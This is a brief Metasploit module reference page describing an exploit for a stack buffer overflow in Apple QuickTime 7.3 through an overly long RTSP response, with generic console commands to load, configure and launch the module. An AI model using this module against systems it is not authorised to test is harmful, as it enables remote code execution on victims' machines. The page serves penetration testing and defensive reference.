This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/misc/apple_quicktime_rtsp_response
msf exploit(apple_quicktime_rtsp_response) > show targets
    ...targets...
msf exploit(apple_quicktime_rtsp_response) > set TARGET < target-id >
msf exploit(apple_quicktime_rtsp_response) > show options
    ...show and set options...
msf exploit(apple_quicktime_rtsp_response) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
